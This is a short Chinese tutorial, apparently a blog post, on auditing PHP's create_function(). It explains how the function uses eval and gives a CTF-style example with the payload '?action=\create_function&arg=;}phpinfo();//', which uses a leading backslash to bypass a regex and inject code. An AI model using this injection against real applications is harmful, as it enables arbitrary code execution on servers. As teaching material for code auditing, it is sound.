0%

代码审计-Create_function()函数

create_function()函数创建匿名函数的使用例子:

<?php
$fun = create_function('$a,$b','return $a+$b;');
echo $fun(1,2);
?>
  • 预测结果就是答应一个3:

img

  • 还原一下它的执行过程
eval(
"
function fun($a,$b){
    return $a+$b;
}
"
);
  • 这个过程就很明显了,要想执行其他函数,先从function中逃逸出来,直接构造:;}phpinfo();//即可逃逸出来

其他构造匿名函数的方法

<?php
$calc =function() use ($a,$b){
    return $a+$b;
}
$calc(1,2);
?>

典例:

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

有上面的知识铺垫,那么这里不难想出使用create_funtion,构造payload:?action=\create_function&arg=;}phpinfo();//create_function前面加上\可以直接绕过这个正则,因为这个正则是由字母或数字开始匹配其他内容,所以前面加上一个\可以直接绕过这个正则,但是只能用\其他的会无法找到该函数,具体原因如下。

img